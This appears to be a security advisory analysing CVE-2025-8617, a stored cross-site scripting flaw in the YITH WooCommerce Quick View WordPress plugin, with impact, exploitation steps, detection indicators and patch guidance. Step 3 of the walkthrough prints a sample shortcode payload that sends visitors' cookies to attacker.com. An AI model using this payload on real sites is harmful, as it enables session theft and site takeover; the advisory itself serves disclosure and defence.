CVE-2025-8617: 
WordPress vulnerability analysis and mitigation

CVE-2025-8617 is a Stored Cross-Site Scripting (XSS) vulnerability in the YITH WooCommerce Quick View plugin for WordPress, affecting all versions up to and including 2.7.0. The flaw exists in the plugin's yith_quick_view shortcode due to insufficient input sanitization and output escaping on user-supplied attributes. It was published on December 13, 2025, and assigned by Wordfence. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability resides in the yith_quick_view shortcode handler within includes/class.yith-wcqv-frontend.php (around line 216), where user-supplied shortcode attributes are neither properly sanitized on input nor escaped on output before being rendered in the page. An authenticated attacker with at minimum contributor-level access can embed a malicious shortcode containing arbitrary JavaScript into a post or page; the script executes in the browser of any user who subsequently visits the affected page (Wordfence, WordPress Trac).

Successful exploitation allows an authenticated contributor (or higher-privileged user) to persistently inject malicious JavaScript into WordPress pages, which executes in the context of any visitor's browser. This can lead to session cookie theft, credential harvesting, redirection to malicious sites, defacement, or further attacks against site administrators — potentially enabling full site takeover if an admin account is compromised. Confidentiality and integrity are both impacted at a low level per the CVSS assessment, with no direct availability impact (Wordfence, Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-8617 as of the available data. The EPSS score is approximately 0.03%, indicating a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a contributor-level WordPress account, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Gain contributor access: Register or compromise a WordPress account with at least contributor-level privileges on a site running YITH WooCommerce Quick View ≤ 2.7.0.
2. Create or edit a post: Navigate to the WordPress editor and create or edit a post/page where shortcodes are rendered.
3. Inject malicious shortcode: Insert a yith_quick_view shortcode with a crafted attribute containing a JavaScript payload, e.g., [yith_quick_view attribute="\"><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the content: Submit the post for review or publish it directly (depending on role permissions).
5. Trigger execution: When any authenticated or unauthenticated user visits the page containing the injected shortcode, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints from contributor-level accounts containing encoded or obfuscated script tags within shortcode parameters.
• File System: Unexpected modifications to post content in the WordPress database (wp_posts table) containing <script> tags or JavaScript event handlers within yith_quick_view shortcode attributes.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages with the yith_quick_view shortcode, potentially carrying cookie or session data in query parameters.
• Process/Application: WordPress audit log entries (if a logging plugin is active) showing contributor-level users editing or publishing posts with unusual shortcode content.

Site administrators should update the YITH WooCommerce Quick View plugin to version 2.7.1 or later, which addresses the insufficient sanitization and escaping in the shortcode handler (WordPress Plugin Changeset). As a temporary workaround, restrict contributor-level user registration and limit shortcode usage to trusted roles using a capability management plugin. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules can help mitigate exploitation attempts until patching is complete (Wordfence).

Wordfence included CVE-2025-8617 in its weekly WordPress vulnerability report for December 8–14, 2025, and Sucuri referenced it in its December 2025 vulnerability patch roundup (Wordfence Blog, Sucuri Blog). Community reaction has been routine for a medium-severity WordPress plugin XSS, with no notable controversy or widespread alarm observed.